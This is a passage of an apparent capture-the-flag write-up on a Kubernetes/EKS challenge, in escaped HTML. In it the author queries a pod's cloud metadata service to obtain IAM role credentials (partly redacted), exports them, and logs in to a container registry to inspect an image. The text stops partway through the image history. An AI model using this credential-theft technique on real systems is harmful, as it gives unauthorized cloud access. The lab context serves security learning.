\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRESTARTS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAGE\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eaccounting-pod-876647f8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/1\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e   \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e          \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e37\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eh\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo same as the last challenge, lets get the image and see what access we have:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ekubectl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003epod\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ejson\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e'.items[0].spec.containers[0].image'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWhich as expected, we do not have access to:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eError:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003efetching\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ereading\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eimage\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\":\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eGET\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://688655246681.dkr.ecr.us-west-1.amazonaws.com/v2/central_repo-aaf4a7c/manifests/sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eunexpected\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003estatus\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecode\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e401\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUnauthorized:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eNot\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAuthorized\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSince I expect the pod already has AWS access, lets check if the AWS CLI works:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eUnable\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elocate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials.\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eYou\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecan\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfigure\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecredentials\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eby\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003erunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"aws configure\".\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eCredentials are not configured right now, so we need to discover them.  Lets\ncheck if we have metadata server access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003einfo\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003esecurity-credentials/\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe do!  So we should be able to pull the credentials out of there to get access\nto AWS:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-sS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AccessKeyId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03 03:50:19+00:00\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SecretAccessKey\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SessionToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets set those as environment variables to activate our AWS access:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_ACCESS_KEY_ID\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SECRET_ACCESS_KEY\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"e4TuLKKPBAVvyPkhKiJG0jO0\u0026#x3C;*REDACTED*\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F47067\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e AWS_SESSION_TOKEN\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"FwoGZXIvYXdzEBQaDAM9SyNaDBowmWoT1SK3AbqDZUQpyn\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"ASIA2AVYNE\u0026#x3C;*REDACTED*\u003e:i-0cb922c6673973282\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/eks-challenge-cluster-nodegroup-NodeInstanceRole/i-0cb922c6673973282\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we should be able to authenticate crane and inspect the image from ECR:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ePASSWORD=$(\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e ecr get-login-password)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eauth\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogin\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-u\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-p\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e $PASSWORD \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e2023/11/03\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e02\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e:56:41\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elogged\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ein\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003evia\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/home/user/.docker/config.json\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets get those layers!\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecrane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econfig\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e688655246681\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003ejq\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"architecture\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"amd64\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"config\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Env\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Cmd\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"/bin/sleep\"\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"3133337\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"ArgsEscaped\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003etrue\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"OnBuild\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003enull\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-01T13:32:07.782534085Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"history\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.538571854Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop) ADD file:7e9002edaafd4e4579b65c8f0aaabde1aeb7fd3f8d95579f7fd3443cef785fd1 in / \"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-07-18T23:19:33.655005962Z\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e      \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"created_by\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"/bin/sh -c #(nop)  